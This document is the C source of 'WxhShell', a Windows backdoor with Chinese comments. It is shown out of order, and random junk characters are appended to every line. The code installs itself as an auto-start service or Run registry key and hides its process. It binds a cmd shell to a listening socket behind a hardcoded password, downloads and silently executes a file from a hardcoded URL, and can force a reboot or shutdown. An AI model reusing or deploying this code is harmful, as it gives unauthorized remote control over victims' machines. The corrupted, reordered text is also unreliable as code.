    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _oJ2]f6KX  
    else { Dh&:-  
    closesocket(wsh); ,G[r+4|h  
    ExitThread(0); JFG",09]  
    } qukjS#>+  
    break; &0+x2e)7g  
    } YgfSC}a  
  // 获取shell QGH h;  
  case 's': { -yC:?  
    CmdShell(wsh); 3tT|9Tb@  
    closesocket(wsh); ` URSv,(  
    ExitThread(0); TsaW5ho<p  
    break; g>~cs_N@  
  } (VYR!(17  
  // 退出 9Hf*cQ  
  case 'x': { cW)Oi^q%o2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NZo<IKD$  
    CloseIt(wsh); 3z,v#2  
    break; X~v4"|a  
    } 5c: '>  
  // 离开 I!fB1aq-  
  case 'q': { c q*p9c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _m9~*  
    closesocket(wsh); `E3:;|  
    WSACleanup();  2Vp>"  
    exit(1); X,RT<GNNb  
    break; (TEo_BW|+  
        } 87^:<\pp  
  } \npz .g^c_  
  } W\it+/  
!}>eo2$r^  
  // 提示信息 F2IC$:e M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8yE!7$Mj  
} l60ikc4$I  
  } :O9P(X*  
Mn]}s:v  
  return; G*i.a*9<)  
} V~OUE]]Q  
bnijM/73  
// shell模块句柄 sS, zzx<  
int CmdShell(SOCKET sock) o"|O ]  
{ .aNO( /kO  
STARTUPINFO si; 7w "sJ  
ZeroMemory(&si,sizeof(si)); f5@.^hi[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p QluGIX0V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [J~aAB  
PROCESS_INFORMATION ProcessInfo; z*6$&sS\>  
char cmdline[]="cmd"; ZV!R#Xv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "@.Z#d|Y  
  return 0;  QTVa  
} 3PsxOb+  
d,)}+G  
// 自身启动模式 [ZuVUOm  
int StartFromService(void) SK's!m:r=  
{ ?E % +}P  
typedef struct <u0*"  
{ 8)N0S% B  
  DWORD ExitStatus; c#=&!FRe  
  DWORD PebBaseAddress; '.pgXsC:=?  
  DWORD AffinityMask; D899gGe  
  DWORD BasePriority; 43KaL(  
  ULONG UniqueProcessId; +Dv7:x7  
  ULONG InheritedFromUniqueProcessId; !0`lu_ZN  
}   PROCESS_BASIC_INFORMATION; vx'l> @]k  
{3_Gjb5\\4  
PROCNTQSIP NtQueryInformationProcess; }A-{6Qe  
f[x~)=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s~L`53A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $( S*GF$S  
.+OB!'dDK^  
  HANDLE             hProcess; eaEbH2J  
  PROCESS_BASIC_INFORMATION pbi; Tru c[A.2Z  
Zw+=ng.q?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8pqs?L@W  
  if(NULL == hInst ) return 0; Gc wt7~  
FtE90=$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^Sw2xT$p{j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \H^;'agA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); veV_be{i  
 q$F)!&  
  if (!NtQueryInformationProcess) return 0; (}G!np  
Ddb-@YD&+0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?fV?|ZGZI  
  if(!hProcess) return 0; {o( * f  
iecWa:('  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /^Y[*5  
GjEqU;XBi  
  CloseHandle(hProcess); G%;kGi`m  
IAYACmlN&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]a M-p@  
if(hProcess==NULL) return 0; [O\9 9>  
"9w}dQ  
HMODULE hMod; &I%IaNco  
char procName[255]; avg4K*vv  
unsigned long cbNeeded; #*^e,FF<  
\Dfm(R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cM3jnim  
0*/kGvw`i  
  CloseHandle(hProcess); +,z) #  
Y17hOKc`  
if(strstr(procName,"services")) return 1; // 以服务启动 8&%Cy'TIz4  
JRXRi*@  
  return 0; // 注册表启动 Apmw6cc  
} teAukE=}  
SyAo, )j  
// 主模块 E4=qh1d  
int StartWxhshell(LPSTR lpCmdLine) n&$/Q$d&  
{ z?4=h Sy  
  SOCKET wsl; 4Ac}(N5D@  
BOOL val=TRUE; )9B:Y;>)  
  int port=0; FNC[59   
  struct sockaddr_in door; 1eHe~p ,  
+Juh:1H  
  if(wscfg.ws_autoins) Install(); 6|5H=*)DH  
`^x9(i/NE  
port=atoi(lpCmdLine); H'Nq#K  
Jld\8=  
if(port<=0) port=wscfg.ws_port; BKay*!'PX  
~ ltg  
  WSADATA data; `]jqQr97  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o5SQ1;`   
\^0!|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J1X~vQAe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OM)3Y6rK  
  door.sin_family = AF_INET; V#L'7">VP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zW5C1:.3K  
  door.sin_port = htons(port); e\D| o?v  
6J\fF tB@V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i'=2Y9S}  
closesocket(wsl); ,5{$+  
return 1; q_sEw~~@!  
} %m`zWg-  
GJ,a RI  
  if(listen(wsl,2) == INVALID_SOCKET) { 'OD) v  
closesocket(wsl);  L=]p_2+  
return 1; xzr<k Sp  
} [pL*@9Sa&  
  Wxhshell(wsl); O%&cE*eX  
  WSACleanup(); L5f$TLw h;  
^s-25 6iI  
return 0; JhP\u3 QE  
h&`y$Jj  
} A?A9`w  
<^c3}  
// 以NT服务方式启动 lL0M^Nv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m(_9<bc>  
{ Us=eq "eu  
DWORD   status = 0; Vm,,u F  
  DWORD   specificError = 0xfffffff; I3(d<+M  
!),t"Ae?>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; to`mnp9Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N 9LgU)-Jt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hhl-E:"H`  
  serviceStatus.dwWin32ExitCode     = 0; /8c&Axuv  
  serviceStatus.dwServiceSpecificExitCode = 0; - {{[cT I  
  serviceStatus.dwCheckPoint       = 0; R/~,i;d>  
  serviceStatus.dwWaitHint       = 0; 0%#\w*X8  
G\kpUdj}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4MLH+/e  
  if (hServiceStatusHandle==0) return; TH:W#Ot  
59lj7  
status = GetLastError(); sJU`u'w  
  if (status!=NO_ERROR) vy9dAl  
{ ]iVLHVqz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /iG7MC\`  
    serviceStatus.dwCheckPoint       = 0; WbcS: !0  
    serviceStatus.dwWaitHint       = 0; 4TZ cc|B5  
    serviceStatus.dwWin32ExitCode     = status; J# EP%  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5FOqv=6S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jDX>izg;V  
    return; -[heV|$;  
  } Wekqn!h  
 #^0(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g) 1X&>  
  serviceStatus.dwCheckPoint       = 0; !OAvD#  
  serviceStatus.dwWaitHint       = 0; %u!b& 5]e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !MV@) (.  
} W5 ec  
#|f~s  
// 处理NT服务事件,比如:启动、停止 FFvCi@oT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *x(Jq?5O7X  
{ >2lwWXA  
switch(fdwControl) pj8azFZ  
{ e;(  
case SERVICE_CONTROL_STOP: VaR/o#  
  serviceStatus.dwWin32ExitCode = 0; E!mmLVa9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qZ+H5AG2  
  serviceStatus.dwCheckPoint   = 0; v&;:^jJ8  
  serviceStatus.dwWaitHint     = 0; D*2\{W/  
  { Gu;OV LR|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;;#`#v  
  } _A'{la~k  
  return; z7T0u.4Ss  
case SERVICE_CONTROL_PAUSE: tC)6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L0"~[zB]N  
  break; (CE7j<j  
case SERVICE_CONTROL_CONTINUE: Dl,`\b@Fw3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2*1ft>Uty  
  break; 7x k|+!  
case SERVICE_CONTROL_INTERROGATE: /+[63=fl  
  break; 1@qgF  
}; +B"0{>n}F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;rR/5d1!  
} %!|O.xxRR  
E^CiOTN  
// 标准应用程序主函数 ar ^i|`D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Or+p%K}-7  
{ s\3q!A?S3  
sWqM?2g  
// 获取操作系统版本 cUk*C  
OsIsNt=GetOsVer(); \?lz&<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5v _P Oq  
,hRN\Kt)p  
  // 从命令行安装 $>q@SJ1q  
  if(strpbrk(lpCmdLine,"iI")) Install(); !#N\ b  
c0rk<V%5+  
  // 下载执行文件 m9":{JI.w  
if(wscfg.ws_downexe) { Im?LIgt$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8@\7&C(g17  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?Bx./t><  
} ]A+o>#n}x  
Es4qPB`g.  
if(!OsIsNt) { lpm JLH.F  
// 如果时win9x,隐藏进程并且设置为注册表启动 5V5w:U>_z  
HideProc(); S Xr%kndS  
StartWxhshell(lpCmdLine); 9pD 7 f`  
} #R&H &1  
else X#p Wyo~  
  if(StartFromService()) TqAPAHg  
  // 以服务方式启动 BmBz}:xMez  
  StartServiceCtrlDispatcher(DispatchTable); PK2~fJB  
else QP(BZJC  
  // 普通方式启动 (z7+|JE.  
  StartWxhshell(lpCmdLine); `/IKdO*!S  
B[o`k]]  
return 0; kOrl\_!z3  
} !0}\&<8/m  
WO*9+\[v  
B80aw>M  
e %O0hE  
=========================================== k$i'v:c|:i  
=o7}]k7  
md Gwh7/3  
zsQoU&D 5  
l*=aMjd?  
EqB)sK/3  
" AMCyj`Ur  
L>9R4:g  
#include <stdio.h> ip:LcGt  
#include <string.h> ;;U :Jtn2  
#include <windows.h> tkKJh !Q7  
#include <winsock2.h> {6Au3gt/  
#include <winsvc.h> rofNZ;nu  
#include <urlmon.h> q_fam,9  
x3G:(YfO  
#pragma comment (lib, "Ws2_32.lib") +[-i%b3q  
#pragma comment (lib, "urlmon.lib") 5Fw - d  
}IaA7f  
#define MAX_USER   100 // 最大客户端连接数 []pN$]+c  
#define BUF_SOCK   200 // sock buffer #f,y&\Xmf  
#define KEY_BUFF   255 // 输入 buffer \2v"YVWw  
E/b"RUv}h  
#define REBOOT     0   // 重启 Gh( A%x)  
#define SHUTDOWN   1   // 关机 t ?eH'*>  
@%ECj)u`O  
#define DEF_PORT   5000 // 监听端口 83Ou9E!W  
zGo|JF  
#define REG_LEN     16   // 注册表键长度 K\?]$dK5  
#define SVC_LEN     80   // NT服务名长度 DBH#)4do@  
k;^ :  
// 从dll定义API uE5X~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e":G*2a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vGd1w%J-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PAF8W lg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9$*s8}|  
7<\C ?`q"  
// wxhshell配置信息 C(?blv-vM0  
struct WSCFG { V-yUJ#f8[  
  int ws_port;         // 监听端口 tT%/r,  
  char ws_passstr[REG_LEN]; // 口令 Ri7((x]H"  
  int ws_autoins;       // 安装标记, 1=yes 0=no t67Cv/r~  
  char ws_regname[REG_LEN]; // 注册表键名 Jh/ E@}'  
  char ws_svcname[REG_LEN]; // 服务名 X` YwP/D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]+ Ixi o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6<'K~1do:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &2.u%[gO[q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (R}ii}&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5TKJWO.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OjE` 1h\  
w Iv o"|%  
}; Vm1-C<V9  
4@  3[  
// default Wxhshell configuration % ZU/x d  
struct WSCFG wscfg={DEF_PORT, 0#p/A^\#7M  
    "xuhuanlingzhe", e]8,:Gd(  
    1, 2tQ`/!m>v$  
    "Wxhshell", $&I 'o  
    "Wxhshell", 5g5'@vMN  
            "WxhShell Service", umEVy*hc  
    "Wrsky Windows CmdShell Service",  ZI>km?w  
    "Please Input Your Password: ", Q;/a F`  
  1, LV{Q,DrP  
  "http://www.wrsky.com/wxhshell.exe",  >]D4Q<TY  
  "Wxhshell.exe" @* ust>7  
    }; e /K#>,  
GIwh@4;  
// 消息定义模块 ?\=/$Gt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NZLAk~R;0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mh/n.*E7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .p` pG3  
char *msg_ws_ext="\n\rExit."; u'~;Y.@i'  
char *msg_ws_end="\n\rQuit."; 9"{W,'r&d  
char *msg_ws_boot="\n\rReboot..."; j7QX ,_Q  
char *msg_ws_poff="\n\rShutdown..."; ?uLeFD  
char *msg_ws_down="\n\rSave to "; uzr\oj+>  
k=ytuV\  
char *msg_ws_err="\n\rErr!"; S::=85[>z  
char *msg_ws_ok="\n\rOK!"; \E1U@6a  
32)tJ|m  
char ExeFile[MAX_PATH]; QCOo  
int nUser = 0; ^rNUAj9Z  
HANDLE handles[MAX_USER]; v6(E3)J7  
int OsIsNt; ?X$, fQ#F|  
giY80!GX  
SERVICE_STATUS       serviceStatus; 3INI?y}t   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xl9aV\W  
K,ej%Vtz  
// 函数声明 sy* y\5yJ  
int Install(void); OW;tT=ql  
int Uninstall(void); $^/0<i$   
int DownloadFile(char *sURL, SOCKET wsh); <i\A_qqc/  
int Boot(int flag); C@\{ehG  
void HideProc(void); JAc_kl{4O  
int GetOsVer(void); C)-^<  
int Wxhshell(SOCKET wsl); \*vHB`.,ey  
void TalkWithClient(void *cs); Nh?| RE0t  
int CmdShell(SOCKET sock); QbFHfA2Ij  
int StartFromService(void); q<vf,D@{ !  
int StartWxhshell(LPSTR lpCmdLine); jyS=!ydn+  
fK}h"iH+K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -Yi,_#3{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )Q;978:  
XKOUQc4!R  
// 数据结构和表定义 $RX'(/  
SERVICE_TABLE_ENTRY DispatchTable[] = &n2e  
{ "Y: /= Gx  
{wscfg.ws_svcname, NTServiceMain}, oih5B<&f#  
{NULL, NULL} dIwe g=x  
}; t:~t@4j}  
UKd'+R]  
// 自我安装 2.uA|~qH  
int Install(void) -;(Q1)&  
{ =HDI \LD<  
  char svExeFile[MAX_PATH]; q Dd~2"er  
  HKEY key; }Nj97 R  
  strcpy(svExeFile,ExeFile); j1$8#/r;c  
RF}X ER  
// 如果是win9x系统,修改注册表设为自启动 |`k .y]9  
if(!OsIsNt) { < E|s\u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <Q < AwP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vYmSKS  
  RegCloseKey(key); -F/st  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BcWcdr+}9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `bI)<B  
  RegCloseKey(key); `1` f*d v  
  return 0; <Cpp?DW_  
    } rt7<Q47QE  
  } Z [Xa%~5>5  
} QWnndI_4p  
else { R@ Y=o].2  
MZv]s  
// 如果是NT以上系统,安装为系统服务 ZM#=`k9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _m E^rT  
if (schSCManager!=0) P@}Pk  
{ 0*%&>  
  SC_HANDLE schService = CreateService t !`Jse>  
  ( kTIYD o  
  schSCManager, +%>:0mT  
  wscfg.ws_svcname, n^(A=G  
  wscfg.ws_svcdisp, km5~Gc}  
  SERVICE_ALL_ACCESS, qNgd33u1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %y[1H5)3<  
  SERVICE_AUTO_START, A?!I/|E^;  
  SERVICE_ERROR_NORMAL, 7Ey#u4Q  
  svExeFile, j`*N,*ha  
  NULL, r{Rg920  
  NULL, XE3aXK'R  
  NULL, {QaNAR=)  
  NULL, P,pnga3Wu  
  NULL H!IshZfktn  
  ); 7k%T<;V  
  if (schService!=0) 5A Bhj*7  
  { z2c5m  
  CloseServiceHandle(schService); M(q'%XL^  
  CloseServiceHandle(schSCManager); 7^TV~E#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); faXx4A2"  
  strcat(svExeFile,wscfg.ws_svcname); 8y';\(;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v`[Eb27W.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N^0uit  
  RegCloseKey(key); i8X`HbmN  
  return 0; ;Q0bT`/X  
    } =1;=  
  } 9W`Frx'h1  
  CloseServiceHandle(schSCManager); x|64l`Vp(:  
} vEe NW  
} 9.O8/0w7LV  
ybdd;t}&1  
return 1; xG&SX#[2  
} t%1^Li  
O;Y:uHf  
// 自我卸载 t=euE{c  
int Uninstall(void) K r`]_m  
{ +V862R4,o  
  HKEY key; D<{{ :7n  
!G5a*8]  
if(!OsIsNt) { &F$:Q:* *  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d5I f"8`@  
  RegDeleteValue(key,wscfg.ws_regname); ]<uQ.~  
  RegCloseKey(key); R5_i15<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X26   
  RegDeleteValue(key,wscfg.ws_regname); %bXtKhg5eJ  
  RegCloseKey(key); Mn:/1eY  
  return 0; 7cg*|E@  
  } 7sNw  
} 1Y xgR}7  
} H&}ipaDO  
else { ^t "iX9  
%WFu<^jm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S*)1|~pRvQ  
if (schSCManager!=0) n}-3o]ku  
{ Ok-.}q>\Mv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |dE -^"_  
  if (schService!=0) >cmE t  
  { 9?T{}| ?  
  if(DeleteService(schService)!=0) { ^D67y%  
  CloseServiceHandle(schService); 5 x2Ay=s  
  CloseServiceHandle(schSCManager); ~q +[<xR\  
  return 0; *v%rMU7,  
  } L *[K>iW  
  CloseServiceHandle(schService); wRNroQ  
  } uZKP"Oy  
  CloseServiceHandle(schSCManager); c>bq%}  
} Eu<1Bse;  
} Mq%,lJA\  
7YWNd^FI V  
return 1; L?&'xzt B  
} ni&*E~a  
6X g]/FD  
// 从指定url下载文件 }*U[>Z-eO  
int DownloadFile(char *sURL, SOCKET wsh) 2Nc>6  
{ @{ ;XZb^  
  HRESULT hr; :B *}^g  
char seps[]= "/"; uUR~&8ERX  
char *token; ^ ?hA@{T/1  
char *file; %%%fL;-y  
char myURL[MAX_PATH]; uv{P,]lK  
char myFILE[MAX_PATH]; Jc4L5*Xn/  
{y kYW%3s  
strcpy(myURL,sURL); XV>JD/K2  
  token=strtok(myURL,seps); YOyX[&oi  
  while(token!=NULL) rPzQ8<  
  { SJ' % ^  
    file=token; 7[v%GoE  
  token=strtok(NULL,seps); +m\|e{G  
  } }peBR80tQ  
[Bb utGvj  
GetCurrentDirectory(MAX_PATH,myFILE);  Fnx`Ri  
strcat(myFILE, "\\"); J<j&;:IRd  
strcat(myFILE, file); dpZ;l 9  
  send(wsh,myFILE,strlen(myFILE),0); 9$K;Raz%  
send(wsh,"...",3,0); ?0*8R K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9|' B9C  
  if(hr==S_OK) Nf,Z;5e  
return 0; r4_eTrC,  
else ZsP2>%"  
return 1; De  *7OC  
["<nq`~  
} ~!6K]hB4  
JeH;v0  
// 系统电源模块 t/i5,le  
int Boot(int flag) V% TH7@y  
{ %n0;[sD0A  
  HANDLE hToken; T0HuqJty  
  TOKEN_PRIVILEGES tkp; cRvvzX  
Tq<2`*Qs  
  if(OsIsNt) { ihL/n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @* 1U{`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TrVWv  
    tkp.PrivilegeCount = 1; ~IVd vm7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =x#FbvV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y[ reD  
if(flag==REBOOT) { H!e 3~+)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >PKBo  
  return 0; n ?[/ufl  
} Zzua17  
else { &6 -k#r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4tA_YIv  
  return 0; Die-@z|Y  
} eZhPu'id\s  
  } dP$GThGl  
  else { M s9E@E  
if(flag==REBOOT) { qgt[~i*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3{Nbp  
  return 0; :)f7A7:;  
} pfuW  
else { Lr;(xw\['  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b}ODWdJ1  
  return 0; Lju7,/UD  
} UAS@R`?cI  
} Y+%sBqo @  
< O*6 T%;  
return 1; ;d.K_P  
} .uo.N   
C=Fzu&N}  
// win9x进程隐藏模块 `WEZ"5n  
void HideProc(void) *TW=/+j  
{ KP;(Q+qTx  
Uh}seB#mJj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d87vl13  
  if ( hKernel != NULL ) PrQ?PvA<L  
  { V2Q$g^X'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [a[/_Sf{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D:\g,\Z  
    FreeLibrary(hKernel); /h2b;"  
  } %3;Fgky  
!4"sX+z9  
return; fpyz'   
} ]36sZ *  
qr\ !*\9  
// 获取操作系统版本 t,)N('m}=  
int GetOsVer(void) bZ _mYyBh  
{ <<A`aU^fX  
  OSVERSIONINFO winfo; Wx'Kp+9'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +eX)48  
  GetVersionEx(&winfo); S&C1TC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EUYCcL'G  
  return 1; 1x J TWWj-  
  else GnXNCeE`  
  return 0; ivgpS5 M`Y  
} ajl 2I/D  
wu<])&F  
// 客户端句柄模块 Bc-yxjsw  
int Wxhshell(SOCKET wsl) SZ![%)83  
{ S/vf'gj  
  SOCKET wsh; v <\A%  
  struct sockaddr_in client; " }gVAAvc7  
  DWORD myID; q}uHFp/J  
W_O)~u8  
  while(nUser<MAX_USER) a\uie$"cr]  
{ /T^ JS  
  int nSize=sizeof(client); 5M]z5}n/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ek aFN\  
  if(wsh==INVALID_SOCKET) return 1; cR-~)UyrO  
Ax3W2s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )Ag/Qep  
if(handles[nUser]==0) !;@_VWR  
  closesocket(wsh); 38V3o`f  
else tHD  
  nUser++; `;,Pb&W~  
  } p_*M:P1Ma4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~d{.ng 4K  
m^%|ZTrwN7  
  return 0; ?i\B^uB  
} R)?{]]v  
9n]|PEoAB  
// 关闭 socket p5=|Y^g !  
void CloseIt(SOCKET wsh) ?8dVH2W.  
{ y< R=  
closesocket(wsh); PeX1wK%f  
nUser--; +eQe%U  
ExitThread(0); $m1<i?'m  
} YIt9M,5/Q  
M x5`yT7  
// 客户端请求句柄 gsar[gZ  
void TalkWithClient(void *cs) ;wiao(t>4N  
{ HWns.[  
V=I"-k}RL  
  SOCKET wsh=(SOCKET)cs; &WXY'A=  
  char pwd[SVC_LEN]; E9j+o y  
  char cmd[KEY_BUFF]; T&Xl'=/  
char chr[1]; <[aDo%,A  
int i,j; qpoV]#iW  
%x; x_  
  while (nUser < MAX_USER) { =M6[URZ  
r#PMy$7L  
if(wscfg.ws_passstr) { "; [ iZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 87!C@XlK_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U8#xgz@  
  //ZeroMemory(pwd,KEY_BUFF); &ej8mq"\  
      i=0; 3>ex5  
  while(i<SVC_LEN) { ] U@o0  
foF19_2 ,  
  // 设置超时 4!62/df  
  fd_set FdRead; Gz I~TWc+G  
  struct timeval TimeOut; vq*Q.0M+  
  FD_ZERO(&FdRead); VO3pm6r5  
  FD_SET(wsh,&FdRead); ]e:/"   
  TimeOut.tv_sec=8; E! /[gZ  
  TimeOut.tv_usec=0; QR?yG+VU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )CPM7>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JG`Q;K  
_Jz8{` "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aeyNdMk -  
  pwd=chr[0]; D'<VYl"/  
  if(chr[0]==0xd || chr[0]==0xa) { l@j.hTO<  
  pwd=0; vg Ipj3u  
  break; %z]U LEYrZ  
  } i LBvGZ<9  
  i++; +.B<Hd  
    } t9gfU5?  
:pX`?Ew`g  
  // 如果是非法用户,关闭 socket _i_Q?w`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C-eA8pYY/  
} -Ue$T{;RoH  
\mM<\-'p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |rw%FM{F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N(6|yZ<J3M  
mM.*b@d-  
while(1) { !2\ r LN  
gyHHoZc3  
  ZeroMemory(cmd,KEY_BUFF); :nHKl  
/StTb,  
      // 自动支持客户端 telnet标准   })xp%<`  
  j=0; p=GWq(S6  
  while(j<KEY_BUFF) { TQX)?^Ft  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B 3m_D"?  
  cmd[j]=chr[0]; 5[l8y ,  
  if(chr[0]==0xa || chr[0]==0xd) { {U]H;~3 ?  
  cmd[j]=0; zIC;7 5#  
  break; E9\vA*a  
  } ' #NcZy  
  j++; k- V,~c  
    } YG:3Fhx0~  
M$4k;  
  // 下载文件 e"]8T},  
  if(strstr(cmd,"http://")) { 5 hj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VpfUm?Nq  
  if(DownloadFile(cmd,wsh)) [u@Jc,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z 2}ah  
  else Ft=zzoVKg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'crlA~&#/  
  } `0H g y=  
  else { _LP/!D  
+h^jC9,m~{  
    switch(cmd[0]) { mE O \r|A  
  8,D 2^Gg  
  // 帮助 (@X~VACT  
  case '?': { Wc3kO'J  
